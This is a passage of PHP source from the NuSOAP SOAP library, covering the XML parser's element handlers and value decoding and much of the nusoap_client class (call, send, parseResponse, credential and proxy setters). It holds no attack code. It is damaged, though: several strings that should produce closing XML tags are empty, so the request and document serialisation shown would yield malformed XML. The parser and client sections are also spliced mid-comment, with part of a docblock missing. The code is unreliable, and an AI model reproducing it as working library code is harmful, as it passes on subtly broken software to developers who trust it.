$this->root_struct"); } // set my status $this->message[$pos]['status'] = $this->status; // set name $this->message[$pos]['name'] = htmlspecialchars($name); // set attrs $this->message[$pos]['attrs'] = $attrs; // loop through atts, logging ns and type declarations $attstr = ''; foreach($attrs as $key => $value){ $key_prefix = $this->getPrefix($key); $key_localpart = $this->getLocalPart($key); // if ns declarations, add to class level array of valid namespaces if($key_prefix == 'xmlns'){ if(preg_match('/^http:\/\/www.w3.org\/[0-9]{4}\/XMLSchema$/',$value)){ $this->XMLSchemaVersion = $value; $this->namespaces['xsd'] = $this->XMLSchemaVersion; $this->namespaces['xsi'] = $this->XMLSchemaVersion.'-instance'; } $this->namespaces[$key_localpart] = $value; // set method namespace if($name == $this->root_struct_name){ $this->methodNamespace = $value; } // if it's a type declaration, set type } elseif($key_localpart == 'type'){ if (isset($this->message[$pos]['type']) && $this->message[$pos]['type'] == 'array') { // do nothing: already processed arrayType } else { $value_prefix = $this->getPrefix($value); $value_localpart = $this->getLocalPart($value); $this->message[$pos]['type'] = $value_localpart; $this->message[$pos]['typePrefix'] = $value_prefix; if(isset($this->namespaces[$value_prefix])){ $this->message[$pos]['type_namespace'] = $this->namespaces[$value_prefix]; } else if(isset($attrs['xmlns:'.$value_prefix])) { $this->message[$pos]['type_namespace'] = $attrs['xmlns:'.$value_prefix]; } // should do something here with the namespace of specified type? } } elseif($key_localpart == 'arrayType'){ $this->message[$pos]['type'] = 'array'; /* do arrayType ereg here [1] arrayTypeValue ::= atype asize [2] atype ::= QName rank* [3] rank ::= '[' (',')* ']' [4] asize ::= '[' length~ ']' [5] length ::= nextDimension* Digit+ [6] nextDimension ::= Digit+ ',' */ $expr = '/([A-Za-z0-9_]+):([A-Za-z]+[A-Za-z0-9_]+)\[([0-9]+),?([0-9]*)\]/'; if(preg_match($expr,$value,$regs)){ $this->message[$pos]['typePrefix'] = $regs[1]; $this->message[$pos]['arrayTypePrefix'] = $regs[1]; if (isset($this->namespaces[$regs[1]])) { $this->message[$pos]['arrayTypeNamespace'] = $this->namespaces[$regs[1]]; } else if (isset($attrs['xmlns:'.$regs[1]])) { $this->message[$pos]['arrayTypeNamespace'] = $attrs['xmlns:'.$regs[1]]; } $this->message[$pos]['arrayType'] = $regs[2]; $this->message[$pos]['arraySize'] = $regs[3]; $this->message[$pos]['arrayCols'] = $regs[4]; } // specifies nil value (or not) } elseif ($key_localpart == 'nil'){ $this->message[$pos]['nil'] = ($value == 'true' || $value == '1'); // some other attribute } elseif ($key != 'href' && $key != 'xmlns' && $key_localpart != 'encodingStyle' && $key_localpart != 'root') { $this->message[$pos]['xattrs']['!' . $key] = $value; } if ($key == 'xmlns') { $this->default_namespace = $value; } // log id if($key == 'id'){ $this->ids[$value] = $pos; } // root if($key_localpart == 'root' && $value == 1){ $this->status = 'method'; $this->root_struct_name = $name; $this->root_struct = $pos; $this->debug("found root struct $this->root_struct_name, pos $pos"); } // for doclit $attstr .= " $key=\"$value\""; } // get namespace - must be done after namespace atts are processed if(isset($prefix)){ $this->message[$pos]['namespace'] = $this->namespaces[$prefix]; $this->default_namespace = $this->namespaces[$prefix]; } else { $this->message[$pos]['namespace'] = $this->default_namespace; } if($this->status == 'header'){ if ($this->root_header != $pos) { $this->responseHeaders .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; } } elseif($this->root_struct_name != ''){ $this->document .= "<" . (isset($prefix) ? $prefix . ':' : '') . "$name$attstr>"; } } /** * end-element handler * * @param resource $parser XML parser object * @param string $name element name * @access private */ function end_element($parser, $name) { // position of current element is equal to the last value left in depth_array for my depth $pos = $this->depth_array[$this->depth--]; // get element prefix if(strpos($name,':')){ // get ns prefix $prefix = substr($name,0,strpos($name,':')); // get unqualified name $name = substr(strstr($name,':'),1); } // build to native type if(isset($this->body_position) && $pos > $this->body_position){ // deal w/ multirefs if(isset($this->message[$pos]['attrs']['href'])){ // get id $id = substr($this->message[$pos]['attrs']['href'],1); // add placeholder to href array $this->multirefs[$id][$pos] = 'placeholder'; // add set a reference to it as the result value $this->message[$pos]['result'] =& $this->multirefs[$id][$pos]; // build complexType values } elseif($this->message[$pos]['children'] != ''){ // if result has already been generated (struct/array) if(!isset($this->message[$pos]['result'])){ $this->message[$pos]['result'] = $this->buildVal($pos); } // build complexType values of attributes and possibly simpleContent } elseif (isset($this->message[$pos]['xattrs'])) { if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { $this->message[$pos]['xattrs']['!'] = null; } elseif (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { if (isset($this->message[$pos]['type'])) { $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); } else { $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $this->message[$pos]['xattrs']['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); } else { $this->message[$pos]['xattrs']['!'] = $this->message[$pos]['cdata']; } } } $this->message[$pos]['result'] = $this->message[$pos]['xattrs']; // set value of simpleType (or nil complexType) } else { //$this->debug('adding data for scalar value '.$this->message[$pos]['name'].' of value '.$this->message[$pos]['cdata']); if (isset($this->message[$pos]['nil']) && $this->message[$pos]['nil']) { $this->message[$pos]['xattrs']['!'] = null; } elseif (isset($this->message[$pos]['type'])) { $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); } else { $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $this->message[$pos]['result'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); } else { $this->message[$pos]['result'] = $this->message[$pos]['cdata']; } } /* add value to parent's result, if parent is struct/array $parent = $this->message[$pos]['parent']; if($this->message[$parent]['type'] != 'map'){ if(strtolower($this->message[$parent]['type']) == 'array'){ $this->message[$parent]['result'][] = $this->message[$pos]['result']; } else { $this->message[$parent]['result'][$this->message[$pos]['name']] = $this->message[$pos]['result']; } } */ } } // for doclit if($this->status == 'header'){ if ($this->root_header != $pos) { $this->responseHeaders .= ""; } } elseif($pos >= $this->root_struct){ $this->document .= ""; } // switch status if ($pos == $this->root_struct){ $this->status = 'body'; $this->root_struct_namespace = $this->message[$pos]['namespace']; } elseif ($pos == $this->root_header) { $this->status = 'envelope'; } elseif ($name == 'Body' && $this->status == 'body') { $this->status = 'envelope'; } elseif ($name == 'Header' && $this->status == 'header') { // will never happen $this->status = 'envelope'; } elseif ($name == 'Envelope' && $this->status == 'envelope') { $this->status = ''; } // set parent back to my parent $this->parent = $this->message[$pos]['parent']; } /** * element content handler * * @param resource $parser XML parser object * @param string $data element content * @access private */ function character_data($parser, $data){ $pos = $this->depth_array[$this->depth]; if ($this->xml_encoding=='UTF-8'){ // TODO: add an option to disable this for folks who want // raw UTF-8 that, e.g., might not map to iso-8859-1 // TODO: this can also be handled with xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING, "ISO-8859-1"); if($this->decode_utf8){ $data = utf8_decode($data); } } $this->message[$pos]['cdata'] .= $data; // for doclit if($this->status == 'header'){ $this->responseHeaders .= $data; } else { $this->document .= $data; } } /** * get the parsed message (SOAP Body) * * @return mixed * @access public * @deprecated use get_soapbody instead */ function get_response(){ return $this->soapresponse; } /** * get the parsed SOAP Body (NULL if there was none) * * @return mixed * @access public */ function get_soapbody(){ return $this->soapresponse; } /** * get the parsed SOAP Header (NULL if there was none) * * @return mixed * @access public */ function get_soapheader(){ return $this->soapheader; } /** * get the unparsed SOAP Header * * @return string XML or empty if no Header * @access public */ function getHeaders(){ return $this->responseHeaders; } /** * decodes simple types into PHP variables * * @param string $value value to decode * @param string $type XML type to decode * @param string $typens XML type namespace to decode * @return mixed PHP value * @access private */ function decodeSimple($value, $type, $typens) { // TODO: use the namespace! if ((!isset($type)) || $type == 'string' || $type == 'long' || $type == 'unsignedLong') { return (string) $value; } if ($type == 'int' || $type == 'integer' || $type == 'short' || $type == 'byte') { return (int) $value; } if ($type == 'float' || $type == 'double' || $type == 'decimal') { return (double) $value; } if ($type == 'boolean') { if (strtolower($value) == 'false' || strtolower($value) == 'f') { return false; } return (boolean) $value; } if ($type == 'base64' || $type == 'base64Binary') { $this->debug('Decode base64 value'); return base64_decode($value); } // obscure numeric types if ($type == 'nonPositiveInteger' || $type == 'negativeInteger' || $type == 'nonNegativeInteger' || $type == 'positiveInteger' || $type == 'unsignedInt' || $type == 'unsignedShort' || $type == 'unsignedByte') { return (int) $value; } // bogus: parser treats array with no elements as a simple type if ($type == 'array') { return array(); } // everything else return (string) $value; } /** * builds response structures for compound values (arrays/structs) * and scalars * * @param integer $pos position in node tree * @return mixed PHP value * @access private */ function buildVal($pos){ if(!isset($this->message[$pos]['type'])){ $this->message[$pos]['type'] = ''; } $this->debug('in buildVal() for '.$this->message[$pos]['name']."(pos $pos) of type ".$this->message[$pos]['type']); // if there are children... if($this->message[$pos]['children'] != ''){ $this->debug('in buildVal, there are children'); $children = explode('|',$this->message[$pos]['children']); array_shift($children); // knock off empty // md array if(isset($this->message[$pos]['arrayCols']) && $this->message[$pos]['arrayCols'] != ''){ $r=0; // rowcount $c=0; // colcount foreach($children as $child_pos){ $this->debug("in buildVal, got an MD array element: $r, $c"); $params[$r][] = $this->message[$child_pos]['result']; $c++; if($c == $this->message[$pos]['arrayCols']){ $c = 0; $r++; } } // array } elseif($this->message[$pos]['type'] == 'array' || $this->message[$pos]['type'] == 'Array'){ $this->debug('in buildVal, adding array '.$this->message[$pos]['name']); foreach($children as $child_pos){ $params[] = &$this->message[$child_pos]['result']; } // apache Map type: java hashtable } elseif($this->message[$pos]['type'] == 'Map' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap'){ $this->debug('in buildVal, Java Map '.$this->message[$pos]['name']); foreach($children as $child_pos){ $kv = explode("|",$this->message[$child_pos]['children']); $params[$this->message[$kv[1]]['result']] = &$this->message[$kv[2]]['result']; } // generic compound type //} elseif($this->message[$pos]['type'] == 'SOAPStruct' || $this->message[$pos]['type'] == 'struct') { } else { // Apache Vector type: treat as an array $this->debug('in buildVal, adding Java Vector or generic compound type '.$this->message[$pos]['name']); if ($this->message[$pos]['type'] == 'Vector' && $this->message[$pos]['type_namespace'] == 'http://xml.apache.org/xml-soap') { $notstruct = 1; } else { $notstruct = 0; } // foreach($children as $child_pos){ if($notstruct){ $params[] = &$this->message[$child_pos]['result']; } else { if (isset($params[$this->message[$child_pos]['name']])) { // de-serialize repeated element name into an array if ((!is_array($params[$this->message[$child_pos]['name']])) || (!isset($params[$this->message[$child_pos]['name']][0]))) { $params[$this->message[$child_pos]['name']] = array($params[$this->message[$child_pos]['name']]); } $params[$this->message[$child_pos]['name']][] = &$this->message[$child_pos]['result']; } else { $params[$this->message[$child_pos]['name']] = &$this->message[$child_pos]['result']; } } } } if (isset($this->message[$pos]['xattrs'])) { $this->debug('in buildVal, handling attributes'); foreach ($this->message[$pos]['xattrs'] as $n => $v) { $params[$n] = $v; } } // handle simpleContent if (isset($this->message[$pos]['cdata']) && trim($this->message[$pos]['cdata']) != '') { $this->debug('in buildVal, handling simpleContent'); if (isset($this->message[$pos]['type'])) { $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); } else { $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $params['!'] = $this->decodeSimple($this->message[$pos]['cdata'], $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); } else { $params['!'] = $this->message[$pos]['cdata']; } } } $ret = is_array($params) ? $params : array(); $this->debug('in buildVal, return:'); $this->appendDebug($this->varDump($ret)); return $ret; } else { $this->debug('in buildVal, no children, building scalar'); $cdata = isset($this->message[$pos]['cdata']) ? $this->message[$pos]['cdata'] : ''; if (isset($this->message[$pos]['type'])) { $ret = $this->decodeSimple($cdata, $this->message[$pos]['type'], isset($this->message[$pos]['type_namespace']) ? $this->message[$pos]['type_namespace'] : ''); $this->debug("in buildVal, return: $ret"); return $ret; } $parent = $this->message[$pos]['parent']; if (isset($this->message[$parent]['type']) && ($this->message[$parent]['type'] == 'array') && isset($this->message[$parent]['arrayType'])) { $ret = $this->decodeSimple($cdata, $this->message[$parent]['arrayType'], isset($this->message[$parent]['arrayTypeNamespace']) ? $this->message[$parent]['arrayTypeNamespace'] : ''); $this->debug("in buildVal, return: $ret"); return $ret; } $ret = $this->message[$pos]['cdata']; $this->debug("in buildVal, return: $ret"); return $ret; } } } /** * Backward compatibility */ class soap_parser extends nusoap_parser { } ?>call( string methodname [ ,array parameters] ); * * // bye bye client * unset($soapclient); * * @author Dietrich Ayala * @author Scott Nichol * @version $Id: nusoap.php,v 1.123 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_client extends nusoap_base { var $username = ''; // Username for HTTP authentication var $password = ''; // Password for HTTP authentication var $authtype = ''; // Type of HTTP authentication var $certRequest = array(); // Certificate for HTTP SSL authentication var $requestHeaders = false; // SOAP headers in request (text) var $responseHeaders = ''; // SOAP headers from response (incomplete namespace resolution) (text) var $responseHeader = NULL; // SOAP Header from response (parsed) var $document = ''; // SOAP body response portion (incomplete namespace resolution) (text) var $endpoint; var $forceEndpoint = ''; // overrides WSDL endpoint var $proxyhost = ''; var $proxyport = ''; var $proxyusername = ''; var $proxypassword = ''; var $portName = ''; // port name to use in WSDL var $xml_encoding = ''; // character set encoding of incoming (response) messages var $http_encoding = false; var $timeout = 0; // HTTP connection timeout var $response_timeout = 30; // HTTP response timeout var $endpointType = ''; // soap|wsdl, empty for WSDL initialization error var $persistentConnection = false; var $defaultRpcParams = false; // This is no longer used var $request = ''; // HTTP request var $response = ''; // HTTP response var $responseData = ''; // SOAP payload of response var $cookies = array(); // Cookies from response or for request var $decode_utf8 = true; // toggles whether the parser decodes element content w/ utf8_decode() var $operations = array(); // WSDL operations, empty for WSDL initialization error var $curl_options = array(); // User-specified cURL options var $bindingType = ''; // WSDL operation binding type var $use_curl = false; // whether to always try to use cURL /* * fault related variables */ /** * @var fault * @access public */ var $fault; /** * @var faultcode * @access public */ var $faultcode; /** * @var faultstring * @access public */ var $faultstring; /** * @var faultdetail * @access public */ var $faultdetail; /** * constructor * * @param mixed $endpoint SOAP server or WSDL URL (string), or wsdl instance (object) * @param mixed $wsdl optional, set to 'wsdl' or true if using WSDL * @param string $proxyhost optional * @param string $proxyport optional * @param string $proxyusername optional * @param string $proxypassword optional * @param integer $timeout set the connection timeout * @param integer $response_timeout set the response timeout * @param string $portName optional portName in WSDL document * @access public */ function nusoap_client($endpoint,$wsdl = false,$proxyhost = false,$proxyport = false,$proxyusername = false, $proxypassword = false, $timeout = 0, $response_timeout = 30, $portName = ''){ parent::nusoap_base(); $this->endpoint = $endpoint; $this->proxyhost = $proxyhost; $this->proxyport = $proxyport; $this->proxyusername = $proxyusername; $this->proxypassword = $proxypassword; $this->timeout = $timeout; $this->response_timeout = $response_timeout; $this->portName = $portName; $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); $this->appendDebug('endpoint=' . $this->varDump($endpoint)); // make values if($wsdl){ if (is_object($endpoint) && (get_class($endpoint) == 'wsdl')) { $this->wsdl = $endpoint; $this->endpoint = $this->wsdl->wsdl; $this->wsdlFile = $this->endpoint; $this->debug('existing wsdl instance created from ' . $this->endpoint); $this->checkWSDL(); } else { $this->wsdlFile = $this->endpoint; $this->wsdl = null; $this->debug('will use lazy evaluation of wsdl from ' . $this->endpoint); } $this->endpointType = 'wsdl'; } else { $this->debug("instantiate SOAP with endpoint at $endpoint"); $this->endpointType = 'soap'; } } /** * calls method, returns PHP native type * * @param string $operation SOAP server URL or path * @param mixed $params An array, associative or simple, of the parameters * for the method call, or a string that is the XML * for the call. For rpc style, this call will * wrap the XML in a tag named after the method, as * well as the SOAP Envelope and Body. For document * style, this will only wrap with the Envelope and Body. * IMPORTANT: when using an array with document style, * in which case there * is really one parameter, the root of the fragment * used in the call, which encloses what programmers * normally think of parameters. A parameter array * *must* include the wrapper. * @param string $namespace optional method namespace (WSDL can override) * @param string $soapAction optional SOAPAction value (WSDL can override) * @param mixed $headers optional string of XML with SOAP header content, or array of soapval objects for SOAP headers, or associative array * @param boolean $rpcParams optional (no longer used) * @param string $style optional (rpc|document) the style to use when serializing parameters (WSDL can override) * @param string $use optional (encoded|literal) the use when serializing parameters (WSDL can override) * @return mixed response from SOAP call, normally an associative array mirroring the structure of the XML response, false for certain fatal errors * @access public */ function call($operation,$params=array(),$namespace='http://tempuri.org',$soapAction='',$headers=false,$rpcParams=null,$style='rpc',$use='encoded'){ $this->operation = $operation; $this->fault = false; $this->setError(''); $this->request = ''; $this->response = ''; $this->responseData = ''; $this->faultstring = ''; $this->faultcode = ''; $this->opData = array(); $this->debug("call: operation=$operation, namespace=$namespace, soapAction=$soapAction, rpcParams=$rpcParams, style=$style, use=$use, endpointType=$this->endpointType"); $this->appendDebug('params=' . $this->varDump($params)); $this->appendDebug('headers=' . $this->varDump($headers)); if ($headers) { $this->requestHeaders = $headers; } if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { $this->loadWSDL(); if ($this->getError()) return false; } // serialize parameters if($this->endpointType == 'wsdl' && $opData = $this->getOperationData($operation)){ // use WSDL for operation $this->opData = $opData; $this->debug("found operation"); $this->appendDebug('opData=' . $this->varDump($opData)); if (isset($opData['soapAction'])) { $soapAction = $opData['soapAction']; } if (! $this->forceEndpoint) { $this->endpoint = $opData['endpoint']; } else { $this->endpoint = $this->forceEndpoint; } $namespace = isset($opData['input']['namespace']) ? $opData['input']['namespace'] : $namespace; $style = $opData['style']; $use = $opData['input']['use']; // add ns to ns array if($namespace != '' && !isset($this->wsdl->namespaces[$namespace])){ $nsPrefix = 'ns' . rand(1000, 9999); $this->wsdl->namespaces[$nsPrefix] = $namespace; } $nsPrefix = $this->wsdl->getPrefixFromNamespace($namespace); // serialize payload if (is_string($params)) { $this->debug("serializing param string for WSDL operation $operation"); $payload = $params; } elseif (is_array($params)) { $this->debug("serializing param array for WSDL operation $operation"); $payload = $this->wsdl->serializeRPCParameters($operation,'input',$params,$this->bindingType); } else { $this->debug('params must be array or string'); $this->setError('params must be array or string'); return false; } $usedNamespaces = $this->wsdl->usedNamespaces; if (isset($opData['input']['encodingStyle'])) { $encodingStyle = $opData['input']['encodingStyle']; } else { $encodingStyle = ''; } $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); if ($errstr = $this->wsdl->getError()) { $this->debug('got wsdl error: '.$errstr); $this->setError('wsdl error: '.$errstr); return false; } } elseif($this->endpointType == 'wsdl') { // operation not in WSDL $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->setError('operation '.$operation.' not present in WSDL.'); $this->debug("operation '$operation' not present in WSDL."); return false; } else { // no WSDL //$this->namespaces['ns1'] = $namespace; $nsPrefix = 'ns' . rand(1000, 9999); // serialize $payload = ''; if (is_string($params)) { $this->debug("serializing param string for operation $operation"); $payload = $params; } elseif (is_array($params)) { $this->debug("serializing param array for operation $operation"); foreach($params as $k => $v){ $payload .= $this->serialize_val($v,$k,false,false,false,false,$use); } } else { $this->debug('params must be array or string'); $this->setError('params must be array or string'); return false; } $usedNamespaces = array(); if ($use == 'encoded') { $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; } else { $encodingStyle = ''; } } // wrap RPC calls with method element if ($style == 'rpc') { if ($use == 'literal') { $this->debug("wrapping RPC request with literal method element"); if ($namespace) { // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . $payload . ""; } else { $payload = "<$operation>" . $payload . ""; } } else { $this->debug("wrapping RPC request with encoded method element"); if ($namespace) { $payload = "<$nsPrefix:$operation xmlns:$nsPrefix=\"$namespace\">" . $payload . ""; } else { $payload = "<$operation>" . $payload . ""; } } } // serialize envelope $soapmsg = $this->serializeEnvelope($payload,$this->requestHeaders,$usedNamespaces,$style,$use,$encodingStyle); $this->debug("endpoint=$this->endpoint, soapAction=$soapAction, namespace=$namespace, style=$style, use=$use, encodingStyle=$encodingStyle"); $this->debug('SOAP message length=' . strlen($soapmsg) . ' contents (max 1000 bytes)=' . substr($soapmsg, 0, 1000)); // send $return = $this->send($this->getHTTPBody($soapmsg),$soapAction,$this->timeout,$this->response_timeout); if($errstr = $this->getError()){ $this->debug('Error: '.$errstr); return false; } else { $this->return = $return; $this->debug('sent message successfully and got a(n) '.gettype($return)); $this->appendDebug('return=' . $this->varDump($return)); // fault? if(is_array($return) && isset($return['faultcode'])){ $this->debug('got fault'); $this->setError($return['faultcode'].': '.$return['faultstring']); $this->fault = true; foreach($return as $k => $v){ $this->$k = $v; $this->debug("$k = $v
    "); } return $return; } elseif ($style == 'document') { // NOTE: if the response is defined to have multiple parts (i.e. unwrapped), // we are only going to return the first part here...sorry about that return $return; } else { // array of return values if(is_array($return)){ // multiple 'out' parameters, which we return wrapped up // in the array if(sizeof($return) > 1){ return $return; } // single 'out' parameter (normally the return value) $return = array_shift($return); $this->debug('return shifted value: '); $this->appendDebug($this->varDump($return)); return $return; // nothing returned (ie, echoVoid) } else { return ""; } } } } /** * check WSDL passed as an instance or pulled from an endpoint * * @access private */ function checkWSDL() { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->debug('checkWSDL'); // catch errors if ($errstr = $this->wsdl->getError()) { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->debug('got wsdl error: '.$errstr); $this->setError('wsdl error: '.$errstr); } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap')) { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->bindingType = 'soap'; $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); } elseif ($this->operations = $this->wsdl->getOperations($this->portName, 'soap12')) { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->bindingType = 'soap12'; $this->debug('got '.count($this->operations).' operations from wsdl '.$this->wsdlFile.' for binding type '.$this->bindingType); $this->debug('**************** WARNING: SOAP 1.2 BINDING *****************'); } else { $this->appendDebug($this->wsdl->getDebug()); $this->wsdl->clearDebug(); $this->debug('getOperations returned false'); $this->setError('no operations defined in the WSDL document!'); } } /** * instantiate wsdl object and parse wsdl file * * @access public */ function loadWSDL() { $this->debug('instantiating wsdl class with doc: '.$this->wsdlFile); $this->wsdl = new wsdl('',$this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword,$this->timeout,$this->response_timeout,$this->curl_options,$this->use_curl); $this->wsdl->setCredentials($this->username, $this->password, $this->authtype, $this->certRequest); $this->wsdl->fetchWSDL($this->wsdlFile); $this->checkWSDL(); } /** * get available data pertaining to an operation * * @param string $operation operation name * @return array array of data pertaining to the operation * @access public */ function getOperationData($operation){ if ($this->endpointType == 'wsdl' && is_null($this->wsdl)) { $this->loadWSDL(); if ($this->getError()) return false; } if(isset($this->operations[$operation])){ return $this->operations[$operation]; } $this->debug("No data for operation: $operation"); } /** * send the SOAP message * * Note: if the operation has multiple return values * the return value of this method will be an array * of those values. * * @param string $msg a SOAPx4 soapmsg object * @param string $soapaction SOAPAction value * @param integer $timeout set connection timeout in seconds * @param integer $response_timeout set response timeout in seconds * @return mixed native PHP types. * @access private */ function send($msg, $soapaction = '', $timeout=0, $response_timeout=30) { $this->checkCookies(); // detect transport switch(true){ // http(s) case preg_match('/^http/',$this->endpoint): $this->debug('transporting via HTTP'); if($this->persistentConnection == true && is_object($this->persistentConnection)){ $http =& $this->persistentConnection; } else { $http = new soap_transport_http($this->endpoint, $this->curl_options, $this->use_curl); if ($this->persistentConnection) { $http->usePersistentConnection(); } } $http->setContentType($this->getHTTPContentType(), $this->getHTTPContentTypeCharset()); $http->setSOAPAction($soapaction); if($this->proxyhost && $this->proxyport){ $http->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); } if($this->authtype != '') { $http->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); } if($this->http_encoding != ''){ $http->setEncoding($this->http_encoding); } $this->debug('sending message, length='.strlen($msg)); if(preg_match('/^http:/',$this->endpoint)){ //if(strpos($this->endpoint,'http:')){ $this->responseData = $http->send($msg,$timeout,$response_timeout,$this->cookies); } elseif(preg_match('/^https/',$this->endpoint)){ //} elseif(strpos($this->endpoint,'https:')){ //if(phpversion() == '4.3.0-dev'){ //$response = $http->send($msg,$timeout,$response_timeout); //$this->request = $http->outgoing_payload; //$this->response = $http->incoming_payload; //} else $this->responseData = $http->sendHTTPS($msg,$timeout,$response_timeout,$this->cookies); } else { $this->setError('no http/s in endpoint url'); } $this->request = $http->outgoing_payload; $this->response = $http->incoming_payload; $this->appendDebug($http->getDebug()); $this->UpdateCookies($http->incoming_cookies); // save transport object if using persistent connections if ($this->persistentConnection) { $http->clearDebug(); if (!is_object($this->persistentConnection)) { $this->persistentConnection = $http; } } if($err = $http->getError()){ $this->setError('HTTP Error: '.$err); return false; } elseif($this->getError()){ return false; } else { $this->debug('got response, length='. strlen($this->responseData).' type='.$http->incoming_headers['content-type']); return $this->parseResponse($http->incoming_headers, $this->responseData); } break; default: $this->setError('no transport found, or selected transport is not yet supported!'); return false; break; } } /** * processes SOAP message returned from server * * @param array $headers The HTTP headers * @param string $data unprocessed response data from server * @return mixed value of the message, decoded into a PHP type * @access private */ function parseResponse($headers, $data) { $this->debug('Entering parseResponse() for data of length ' . strlen($data) . ' headers:'); $this->appendDebug($this->varDump($headers)); if (!isset($headers['content-type'])) { $this->setError('Response not of type text/xml (no content-type header)'); return false; } if (!strstr($headers['content-type'], 'text/xml')) { $this->setError('Response not of type text/xml: ' . $headers['content-type']); return false; } if (strpos($headers['content-type'], '=')) { $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); $this->debug('Got response encoding: ' . $enc); if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ $this->xml_encoding = strtoupper($enc); } else { $this->xml_encoding = 'US-ASCII'; } } else { // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 $this->xml_encoding = 'ISO-8859-1'; } $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); $parser = new nusoap_parser($data,$this->xml_encoding,$this->operation,$this->decode_utf8); // add parser debug data to our debug $this->appendDebug($parser->getDebug()); // if parse errors if($errstr = $parser->getError()){ $this->setError( $errstr); // destroy the parser object unset($parser); return false; } else { // get SOAP headers $this->responseHeaders = $parser->getHeaders(); // get SOAP headers $this->responseHeader = $parser->get_soapheader(); // get decoded message $return = $parser->get_soapbody(); // add document for doclit support $this->document = $parser->document; // destroy the parser object unset($parser); // return decode message return $return; } } /** * sets user-specified cURL options * * @param mixed $option The cURL option (always integer?) * @param mixed $value The cURL option value * @access public */ function setCurlOption($option, $value) { $this->debug("setCurlOption option=$option, value="); $this->appendDebug($this->varDump($value)); $this->curl_options[$option] = $value; } /** * sets the SOAP endpoint, which can override WSDL * * @param string $endpoint The endpoint URL to use, or empty string or false to prevent override * @access public */ function setEndpoint($endpoint) { $this->debug("setEndpoint(\"$endpoint\")"); $this->forceEndpoint = $endpoint; } /** * set the SOAP headers * * @param mixed $headers String of XML with SOAP header content, or array of soapval objects for SOAP headers * @access public */ function setHeaders($headers){ $this->debug("setHeaders headers="); $this->appendDebug($this->varDump($headers)); $this->requestHeaders = $headers; } /** * get the SOAP response headers (namespace resolution incomplete) * * @return string * @access public */ function getHeaders(){ return $this->responseHeaders; } /** * get the SOAP response Header (parsed) * * @return mixed * @access public */ function getHeader(){ return $this->responseHeader; } /** * set proxy info here * * @param string $proxyhost * @param string $proxyport * @param string $proxyusername * @param string $proxypassword * @access public */ function setHTTPProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '') { $this->proxyhost = $proxyhost; $this->proxyport = $proxyport; $this->proxyusername = $proxyusername; $this->proxypassword = $proxypassword; } /** * if authenticating, set user credentials here * * @param string $username * @param string $password * @param string $authtype (basic|digest|certificate|ntlm) * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) * @access public */ function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { $this->debug("setCredentials username=$username authtype=$authtype certRequest="); $this->appendDebug($this->varDump($certRequest)); $this->username = $username; $this->password = $password; $this->authtype = $authtype; $this->certRequest = $certRequest; } /** * use HTTP encoding * * @param string $enc HTTP encoding * @access public */ function setHTTPEncoding($enc='gzip, deflate'){ $this->debug("setHTTPEncoding(\"$enc\")"); $this->http_encoding = $enc; } /** * Set whether to try to use cURL connections if possible * * @param boolean $use Whether to try to use cURL * @access public */ function setUseCURL($use) { $this->debug("setUseCURL($use)"); $this->use_curl = $use; } /** * use HTTP persistent connections if possible * * @access public */ function 